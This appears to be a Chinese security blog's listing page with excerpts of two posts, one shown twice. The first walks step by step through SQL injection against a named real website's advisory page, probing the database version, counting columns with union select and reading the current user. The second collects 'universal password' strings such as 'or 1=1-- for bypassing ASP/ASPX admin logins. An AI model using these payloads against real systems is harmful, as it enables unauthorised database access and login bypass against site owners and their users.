SECURITY RESEARCH / ENGINEERING
在证据与实验中理解复杂系统。
转自老邪 http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询 2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解 http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9-- 3.查看数据库版本及当前用户，http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4......
阅读全文 →转自老邪 http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询 2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解 http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9-- 3.查看数据库版本及当前用户，http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4......
阅读全文 →所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。 自己也有过收集，别人总结的我又添加了几个 asp aspx万能密码 1："or "a"="a 2： ')or('a'='a 3：or 1=1-- 4：'or 1=1-- 5：a'or......
阅读全文 →